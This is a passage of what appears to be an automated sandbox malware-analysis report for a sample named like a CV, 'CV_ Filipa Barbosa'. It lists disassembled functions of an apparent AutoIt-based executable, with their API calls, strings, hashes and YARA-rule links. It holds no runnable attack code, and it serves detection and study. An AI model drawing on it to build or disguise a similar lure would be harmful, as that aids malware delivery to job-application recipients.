                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Cursor$Load$Info
                                                                          • String ID:
                                                                          • API String ID: 2577412497-0
                                                                          • Opcode ID: daaa7fd44e50009a08f0c7aecc699354a05fbf2b1f39050f8ec247a30fb02b45
                                                                          • Instruction ID: 8c654a27bf7826995cafe1967b696fff25c923292cca6ecd56c1867981c40228
                                                                          • Opcode Fuzzy Hash: daaa7fd44e50009a08f0c7aecc699354a05fbf2b1f39050f8ec247a30fb02b45
                                                                          • Instruction Fuzzy Hash: F63105B1D4831E6ADB109FB69C8999FBFE8FF04750F50453AE54DE7280DA78A5008FA1
                                                                          Function 0059C833 Relevance: 25.0, APIs: 7, Strings: 7, Instructions: 479COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AE968: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,0059C8B7,?,00002000,?,?,00000000,?,0059419E,?,?,?,0062DC00), ref: 005AE984
                                                                            • Part of subcall function 0059660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005953B1,?,?,005961FF,?,00000000,00000001,00000000), ref: 0059662F
                                                                          • __wsplitpath.LIBCMT ref: 0059C93E
                                                                            • Part of subcall function 005B1DFC: __wsplitpath_helper.LIBCMT ref: 005B1E3C
                                                                          • _wcscpy.LIBCMT ref: 0059C953
                                                                          • _wcscat.LIBCMT ref: 0059C968
                                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 0059C978
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0059CABE
                                                                            • Part of subcall function 0059B337: _wcscpy.LIBCMT ref: 0059B36F
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CurrentDirectory$_wcscpy$FullNamePath__wsplitpath__wsplitpath_helper_wcscat
                                                                          • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                                          • API String ID: 2258743419-1018226102
                                                                          • Opcode ID: bb0ecf8660ee68a75e5b840e4bab39af94ded325606b512fd5aa4c9466e969a3
                                                                          • Instruction ID: 11ed05f2ae12a792be5c2e3b0cf60e2c0d14b71f674059c4b72a0fea37236ae8
                                                                          • Opcode Fuzzy Hash: bb0ecf8660ee68a75e5b840e4bab39af94ded325606b512fd5aa4c9466e969a3
                                                                          • Instruction Fuzzy Hash: 41126C715083429FCB24EF24C995AAFBFE9BFD9300F40491EF58997291DB309A49CB52
                                                                          Function 005FCE58 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005FCEFB
                                                                          • DestroyWindow.USER32(?,?), ref: 005FCF73
                                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 005FCFF4
                                                                          • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 005FD016
                                                                          • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 005FD025
                                                                          • DestroyWindow.USER32(?), ref: 005FD042
                                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00590000,00000000), ref: 005FD075
                                                                          • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 005FD094
                                                                          • GetDesktopWindow.USER32 ref: 005FD0A9
                                                                          • GetWindowRect.USER32(00000000), ref: 005FD0B0
                                                                          • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 005FD0C2
                                                                          • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 005FD0DA
                                                                            • Part of subcall function 005AB526: GetWindowLongW.USER32(?,000000EB), ref: 005AB537
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memset
                                                                          • String ID: 0$tooltips_class32
                                                                          • API String ID: 3877571568-3619404913
                                                                          • Opcode ID: 274dac2aa4c21ed13ae725ed1fab6cda005ea17011f9a67c824b97f37df4b65f
                                                                          • Instruction ID: 07e49f6b9dd7e4e2d24aa4a0deb5f489969549a69632db33c811162aa0342ae7
                                                                          • Opcode Fuzzy Hash: 274dac2aa4c21ed13ae725ed1fab6cda005ea17011f9a67c824b97f37df4b65f
                                                                          • Instruction Fuzzy Hash: 64717E75140309AFD720CF28CC49F767BBABB89704F044519FA85872A1DB75E946CB62
                                                                          Function 005FF351 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                          • DragQueryPoint.SHELL32(?,?), ref: 005FF37A
                                                                            • Part of subcall function 005FD7DE: ClientToScreen.USER32(?,?), ref: 005FD807
                                                                            • Part of subcall function 005FD7DE: GetWindowRect.USER32(?,?), ref: 005FD87D
                                                                            • Part of subcall function 005FD7DE: PtInRect.USER32(?,?,005FED5A), ref: 005FD88D
                                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 005FF3E3
                                                                          • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 005FF3EE
                                                                          • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 005FF411
                                                                          • _wcscat.LIBCMT ref: 005FF441
                                                                          • SendMessageW.USER32(?,000000C2,00000001,?), ref: 005FF458
                                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 005FF471
                                                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 005FF488
                                                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 005FF4AA
                                                                          • DragFinish.SHELL32(?), ref: 005FF4B1
                                                                          • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 005FF59C
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                                          • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                          • API String ID: 169749273-3440237614
                                                                          • Opcode ID: 90596a270d56e45a56129b4d2eefc27a8128b698786b842deacea07beddef24f
                                                                          • Instruction ID: 436d51823b4f5371933a17e314fd3178c491fe843022f588c9eeb55210632d7e
                                                                          • Opcode Fuzzy Hash: 90596a270d56e45a56129b4d2eefc27a8128b698786b842deacea07beddef24f
                                                                          • Instruction Fuzzy Hash: 22611971108305AFC711EF64CC89EAFBFE9BF89710F044A1EB695961A1DB709A09CB52
                                                                          Function 005DAAF8 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 374timeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • VariantInit.OLEAUT32(00000000), ref: 005DAB3D
                                                                          • VariantCopy.OLEAUT32(?,?), ref: 005DAB46
                                                                          • VariantClear.OLEAUT32(?), ref: 005DAB52
                                                                          • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 005DAC40
                                                                          • __swprintf.LIBCMT ref: 005DAC70
                                                                          • VarR8FromDec.OLEAUT32(?,?), ref: 005DAC9C
                                                                          • VariantInit.OLEAUT32(?), ref: 005DAD4D
                                                                          • SysFreeString.OLEAUT32(00000016), ref: 005DADDF
                                                                          • VariantClear.OLEAUT32(?), ref: 005DAE35
                                                                          • VariantClear.OLEAUT32(?), ref: 005DAE44
                                                                          • VariantInit.OLEAUT32(00000000), ref: 005DAE80
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
                                                                          • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                                          • API String ID: 3730832054-3931177956
                                                                          • Opcode ID: 2440a19451eaad0f48dc105815de7ec99b1f08ddfa6bdda44521da8b63fd080c
                                                                          • Instruction ID: 2913beb1251b27b8f10e1bb6bd14743038d27b2f321ad0569c5636f3f6c1a067
                                                                          • Opcode Fuzzy Hash: 2440a19451eaad0f48dc105815de7ec99b1f08ddfa6bdda44521da8b63fd080c
                                                                          • Instruction Fuzzy Hash: 75D1C171600216EBDB309F69C489BAEBFBAFF85700F188457E4459B281DB74DC41DB92
                                                                          Function 005F716A Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CharUpperBuffW.USER32(?,?), ref: 005F71FC
                                                                          • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 005F7247
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharMessageSendUpper
                                                                          • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                                          • API String ID: 3974292440-4258414348
                                                                          • Opcode ID: d239867985be4e745dab44736b2c8ef50c12d54dad4b53efbd5f787ac658c2a8
                                                                          • Instruction ID: b897f42703c24b338599a8d5662ac16ea7618378e53f859d35eeabb32e00db93
                                                                          • Opcode Fuzzy Hash: d239867985be4e745dab44736b2c8ef50c12d54dad4b53efbd5f787ac658c2a8
                                                                          • Instruction Fuzzy Hash: E291513420460A9FCB04EF24C856A6EBFA6BF99310F04485DF9965B393DB35ED46CB81
                                                                          Function 005CCB82 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 239COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • EnumChildWindows.USER32(?,005CCF50), ref: 005CCE90
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ChildEnumWindows
                                                                          • String ID: 4+d$CLASS$CLASSNN$H+d$INSTANCE$L+d$NAME$P+d$REGEXPCLASS$T+d$TEXT
                                                                          • API String ID: 3555792229-2861704467
                                                                          • Opcode ID: cd4b7698d5a7a84eab50e202ecb44b07833ab85c4fe9b1f6e52e0dbc92fba0a5
                                                                          • Instruction ID: 6b8ebf2462c5c03630d99b2beb48106f6a363fdb3614a9f4eae0ee9408a93363
                                                                          • Opcode Fuzzy Hash: cd4b7698d5a7a84eab50e202ecb44b07833ab85c4fe9b1f6e52e0dbc92fba0a5
                                                                          • Instruction Fuzzy Hash: 6E916C30600607AECB19EFA0C496BEAFF79BF45304F908519E45EA7151DF30A95ADBE0
                                                                          Function 005FE4F5 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 005FE5AB
                                                                          • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,005FBEAF), ref: 005FE607
                                                                          • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 005FE647
                                                                          • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 005FE68C
                                                                          • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 005FE6C3
                                                                          • FreeLibrary.KERNEL32(?,00000004,?,?,?,?,005FBEAF), ref: 005FE6CF
                                                                          • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 005FE6DF
                                                                          • DestroyIcon.USER32(?,?,?,?,?,005FBEAF), ref: 005FE6EE
                                                                          • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 005FE70B
                                                                          • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 005FE717
                                                                            • Part of subcall function 005B0FA7: __wcsicmp_l.LIBCMT ref: 005B1030
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                                          • String ID: .dll$.exe$.icl
                                                                          • API String ID: 1212759294-1154884017
                                                                          • Opcode ID: 65d3a987281bcfef7cf8c8387d412c96bea02c35120f7728efc19029dd762384
                                                                          • Instruction ID: 93de176cf6826f06b712abd198cf455ee0d8191e41cd1f8457bf43f989f1e49e
                                                                          • Opcode Fuzzy Hash: 65d3a987281bcfef7cf8c8387d412c96bea02c35120f7728efc19029dd762384
                                                                          • Instruction Fuzzy Hash: B561D371500219BAEB24DF64DC47FFE7FA9BB18714F108516FA15E60E0EB78A980CB60
                                                                          Function 005DD219 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                          • CharLowerBuffW.USER32(?,?), ref: 005DD292
                                                                          • GetDriveTypeW.KERNEL32 ref: 005DD2DF
                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005DD327
                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005DD35E
                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005DD38C
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: SendString$BuffCharDriveLowerType__itow__swprintf
                                                                          • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                          • API String ID: 1148790751-4113822522
                                                                          • Opcode ID: aa18214470590c3f6f10f00b52a51168561ca44fa0e7082e7f0fc938e763a769
                                                                          • Instruction ID: dfa7f736eb4cc0499977dfb7366be1d228a5d762045b43cf263c2872e97f5419
                                                                          • Opcode Fuzzy Hash: aa18214470590c3f6f10f00b52a51168561ca44fa0e7082e7f0fc938e763a769
                                                                          • Instruction Fuzzy Hash: 31512971104206AFC700EF24C99696EBBF5FF98758F10885EF89567251EB31EE09CB52
                                                                          Function 005D26BC Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 137windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000016,00000000,?,?,00603973,00000016,0000138C,00000016,?,00000016,0062DDB4,00000000,?), ref: 005D26F1
                                                                          • LoadStringW.USER32(00000000,?,00603973,00000016), ref: 005D26FA
                                                                          • GetModuleHandleW.KERNEL32(00000000,00000016,?,00000FFF,?,?,00603973,00000016,0000138C,00000016,?,00000016,0062DDB4,00000000,?,00000016), ref: 005D271C
                                                                          • LoadStringW.USER32(00000000,?,00603973,00000016), ref: 005D271F
                                                                          • __swprintf.LIBCMT ref: 005D276F
                                                                          • __swprintf.LIBCMT ref: 005D2780
                                                                          • _wprintf.LIBCMT ref: 005D2829
                                                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 005D2840
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: HandleLoadModuleString__swprintf$Message_wprintf
                                                                          • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                                          • API String ID: 618562835-2268648507
                                                                          • Opcode ID: 8ca3e08788c1ba8aba9a189a7fa21bcf96126b5daae079d0c7ede07337a580c5
                                                                          • Instruction ID: c2110537e2935652049c0165ad5ba334ba37e98fab16878146dd0076d7e98691
                                                                          • Opcode Fuzzy Hash: 8ca3e08788c1ba8aba9a189a7fa21bcf96126b5daae079d0c7ede07337a580c5
                                                                          • Instruction Fuzzy Hash: D941547280021ABACF15FBD4DD9ADEEBB79FF94340F500066B60176192EA346F19DB60
                                                                          Function 005DD0B8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 005DD0D8
                                                                          • __swprintf.LIBCMT ref: 005DD0FA
                                                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 005DD137
                                                                          • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 005DD15C
                                                                          • _memset.LIBCMT ref: 005DD17B
                                                                          • _wcsncpy.LIBCMT ref: 005DD1B7
                                                                          • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 005DD1EC
                                                                          • CloseHandle.KERNEL32(00000000), ref: 005DD1F7
                                                                          • RemoveDirectoryW.KERNEL32(?), ref: 005DD200
                                                                          • CloseHandle.KERNEL32(00000000), ref: 005DD20A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                          • String ID: :$\$\??\%s
                                                                          • API String ID: 2733774712-3457252023
                                                                          • Opcode ID: acbc2ae6df83ac26a629b2b77d07b1763dde6efda98435714cb05673da449678
                                                                          • Instruction ID: 0e487abffe12f1bb0ca7dbf75d51f7cc57b3d8706fbe135fd7129ee912f37078
                                                                          • Opcode Fuzzy Hash: acbc2ae6df83ac26a629b2b77d07b1763dde6efda98435714cb05673da449678
                                                                          • Instruction Fuzzy Hash: 3C317E7650010AABDB219FA4DC49FEB7BBDEF89740F1480A7F519D21A0E67096458B34
                                                                          Function 005FE731 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,005FBEF4,?,?), ref: 005FE754
                                                                          • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,005FBEF4,?,?,00000000,?), ref: 005FE76B
                                                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,005FBEF4,?,?,00000000,?), ref: 005FE776
                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,005FBEF4,?,?,00000000,?), ref: 005FE783
                                                                          • GlobalLock.KERNEL32(00000000), ref: 005FE78C
                                                                          • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,005FBEF4,?,?,00000000,?), ref: 005FE79B
                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 005FE7A4
                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,005FBEF4,?,?,00000000,?), ref: 005FE7AB
                                                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,005FBEF4,?,?,00000000,?), ref: 005FE7BC
                                                                          • OleLoadPicture.OLEAUT32(?,00000000,00000000,0061D9BC,?), ref: 005FE7D5
                                                                          • GlobalFree.KERNEL32(00000000), ref: 005FE7E5
                                                                          • GetObjectW.GDI32(00000000,00000018,?), ref: 005FE809
                                                                          • CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 005FE834
                                                                          • DeleteObject.GDI32(00000000), ref: 005FE85C
                                                                          • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 005FE872
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                          • String ID:
                                                                          • API String ID: 3840717409-0
                                                                          • Opcode ID: bc88c0e0c2d72d54395f78d39603fc09ecfb5b94863935370ad3a1cafa9e931d
                                                                          • Instruction ID: daa61886fb4034ab5dc87892405dd903d35cac6631bcc24982298ef19b64ccb6
                                                                          • Opcode Fuzzy Hash: bc88c0e0c2d72d54395f78d39603fc09ecfb5b94863935370ad3a1cafa9e931d
                                                                          • Instruction Fuzzy Hash: 8C415B75600208FFDB119F65CC89EAA7BBAFF8A711F148459FA16D7260C734AD41CB20
                                                                          Function 005E05F8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __wsplitpath.LIBCMT ref: 005E076F
                                                                          • _wcscat.LIBCMT ref: 005E0787
                                                                          • _wcscat.LIBCMT ref: 005E0799
                                                                          • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 005E07AE
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 005E07C2
                                                                          • GetFileAttributesW.KERNEL32(?), ref: 005E07DA
                                                                          • SetFileAttributesW.KERNEL32(?,00000000), ref: 005E07F4
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 005E0806
                                                                          Strings
                                                                          Memory Dump Source
